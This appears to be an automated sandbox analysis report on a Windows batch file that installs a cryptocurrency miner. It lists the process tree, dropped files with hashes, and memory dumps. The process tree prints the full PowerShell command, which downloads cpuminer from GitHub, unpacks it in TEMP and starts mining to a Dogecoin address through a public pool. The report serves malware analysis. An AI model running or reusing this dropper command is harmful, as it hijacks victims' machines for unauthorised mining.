Analysis

  • max time kernel
    1793s
  • max time network
    1795s
  • platform
    windows11-21h2_x64
  • resource
    win11-20231222-en
  • resource tags

    arch:x64arch:x86image:win11-20231222-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    01-02-2024 23:58

General

  • Target

    73u3Ito.bat

  • Size

    499B

  • MD5

    fe74bff27516829a88cfbc6f6e99646f

  • SHA1

    0c15d859211c79910b277d07e729bec7197a60cd

  • SHA256

    b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb

  • SHA512

    a94dbaef073e7b62ff9827887f1da6837103316c5656719b176ba1c2a063066f5f159b8ca783208db629121beea33fb81a94b9e6f4f4ec2612ee923639947a98

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4168
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2'"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2408
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4340
        • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2264

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cq5uxrdf.eht.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

    Filesize

    2.1MB

    MD5

    3fe0325b8ad30254357c2b1372972f80

    SHA1

    3738f46f23bdde5038996314aa869e4ae7f9c4a1

    SHA256

    d9f336d995236f451663727a2fc1bb951cec517712839dd65cf8e132426b52ca

    SHA512

    1e582bbac0dbd6dce793b2b5bc2e61c81803b8dddfa1124fe7405a60c2988d7de99586da9efd9ce328723db13420d6f661545bc2fe1aa4783d7c228f01d99284

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

    Filesize

    1.9MB

    MD5

    1024ed04a2a051abf364f1179de1fe20

    SHA1

    952815444c26e893d645427895fbdef514c86f80

    SHA256

    92c0d484e8d958a27e84c00be5bf3ebd8e4ba592a24e3f607b4584946ddb2c23

    SHA512

    dfec891c600f21f32a40277fe7a3ab8975d63581dc173da7cbf4dbe6f636ad9646a301c3d86e45464cba746c8fa0799df01fded7081c152e647f7aa875921312

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

    Filesize

    570KB

    MD5

    82e88bd85afa97c7e8f30990300658b0

    SHA1

    0c9720579851d8fc237bc9cc35cbd0517c89bafc

    SHA256

    a077bfaef07cf4b9b2044071e5aaf643c868d2041e9e89c9a613ca299113ad25

    SHA512

    fea4840b951cf11a3d8a25f7f1f4c2148d266950c31b38c5c48d01ea7640d5993aebf8f898d62f7f42804a9c03ea5acd4df6e98bd1f340a8d8d763622e64cbb5

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

    Filesize

    799KB

    MD5

    de4a233a139b1c31bbfab1973128a079

    SHA1

    67b6885ceab58c665a9e85ca52cfbb21529eda12

    SHA256

    f7cf1199402febe6398ba8cc7885b9fd6a9845ab5d45807f576e79821433fbdc

    SHA512

    5e885697191f56d249c20dc292dd5d0a4a3cdb9161502aa31d456564c751f487014db60ce2d14a33acc1232acfb06a1cfa7549a23688746ddf8f784488bb0de3

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    74b7078fa12e872db2bfb83b5571d760

    SHA1

    aa1a72b9816b1f9d6ca7f150cef3e619f55605f8

    SHA256

    b21c18abab9eb334e5d9e66189069f789ab82f98038bfa48e466aff5035afc66

    SHA512

    617da40a9e7fe6ea6a34bd905f1a5556820b0701c9b1ffadf334bcefb2bcfb6e431887e2aaff3c47433e15f464c5bd3957108e151d185d7706aae0e61caac161

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

    Filesize

    620KB

    MD5

    efee8856795638bdefc2460711ff1559

    SHA1

    f3817c08eea488fa904d5984fdd55d901137c5cb

    SHA256

    5fdf7c6ba63cdcbe4e42b4e87b727595f477cd6363575b9abbe591046ef2a729

    SHA512

    275e7282a6c472199cf725972e8353a55daa71e1ef93f57322d5cf94eebf66a3dad7ba915e8fb999022484df2a783d9e08b9e29223abcdab898f4c63b041e96c

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    1.1MB

    MD5

    b83a17f17cb1ede069e3b8daa2e4b034

    SHA1

    ed389cae07ad731159f9b1efaec42c63bc74e9ee

    SHA256

    aeb4df75234dfb3fbceb55d96cc3f90d64d5c268224c46cb80c17e2da6d22ca6

    SHA512

    7321092f9a9e90c05764ee502e6fcc203867e21b255507c5c03147c8811134cbc6ea0ff0836e456dced36981f9cdce6c65fedf1393cb5e1b0774d4c79c21252b

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    1.4MB

    MD5

    7b80343c9782c12911b66467e7ea8c47

    SHA1

    e8ff01947f55ee3a300ba7763da4ab2e16fb9e8e

    SHA256

    9d33270f8c6ff62f5c81c7ea55af7e35885413c977e9c0155cc800eb6e2062e8

    SHA512

    9df09f213003833c0878ff0846f2c4ccaa2289e3f995885f5ee65645df281af0bf3ebf413144a26ac59297ed9bb7df681600f66bf7a65aef675cdf7fe111d433

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    1.2MB

    MD5

    9f258b02267911f613bb064f02629d42

    SHA1

    572f915a41530d6753970bab9c87a4543a5953d7

    SHA256

    b7a9ec998672532493ef6dbc081e6514ce9940918d9720f523751d4dd0e4cf7f

    SHA512

    a21eedc075be3fbfe21ea31b236b677764626aad862d8e663ef4fad85af6a71c0dc0c7438566d839f334c7b6b92f39ac72f36018d3973fb38ba9c1d8ba34a80c

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

    Filesize

    573KB

    MD5

    923e6e33b1c027ddc00d88d5a6f7cfba

    SHA1

    a07efb96559588677f5fba4fed083c0341df58fe

    SHA256

    474c84ea28ca44d5ee319369ce8d5a5868e48b98a2f952bd15979249919148df

    SHA512

    ab5971dfba49b659c174d01157780be4066b8d0b1a18ccb4c6a2198206f91665c648e032d21b4d58efeb81ea344bd922e3b9fe294b69c365a4305bb5596c925d

  • memory/2264-73-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-98-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-128-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-123-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-118-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-113-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-108-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-103-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-93-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-88-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-68-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2264-69-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/2264-70-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/2264-71-0x000000006E020000-0x000000006E0B8000-memory.dmp

    Filesize

    608KB

  • memory/2264-72-0x0000000001050000-0x0000000002905000-memory.dmp

    Filesize

    24.7MB

  • memory/2264-83-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2408-9-0x00007FFC911D0000-0x00007FFC91C92000-memory.dmp

    Filesize

    10.8MB

  • memory/2408-8-0x000002AAEAB10000-0x000002AAEAB32000-memory.dmp

    Filesize

    136KB

  • memory/2408-10-0x000002AAEA9D0000-0x000002AAEA9E0000-memory.dmp

    Filesize

    64KB

  • memory/2408-64-0x00007FFC911D0000-0x00007FFC91C92000-memory.dmp

    Filesize

    10.8MB

  • memory/2408-11-0x000002AAEA9D0000-0x000002AAEA9E0000-memory.dmp

    Filesize

    64KB

  • memory/2408-12-0x00007FFC911D0000-0x00007FFC91C92000-memory.dmp

    Filesize

    10.8MB

  • memory/2408-13-0x000002AAEA9D0000-0x000002AAEA9E0000-memory.dmp

    Filesize

    64KB

  • memory/2408-14-0x000002AAEA9D0000-0x000002AAEA9E0000-memory.dmp

    Filesize

    64KB

  • memory/2408-16-0x000002AAEB010000-0x000002AAEB022000-memory.dmp

    Filesize

    72KB

  • memory/2408-17-0x000002AAEAB80000-0x000002AAEAB8A000-memory.dmp

    Filesize

    40KB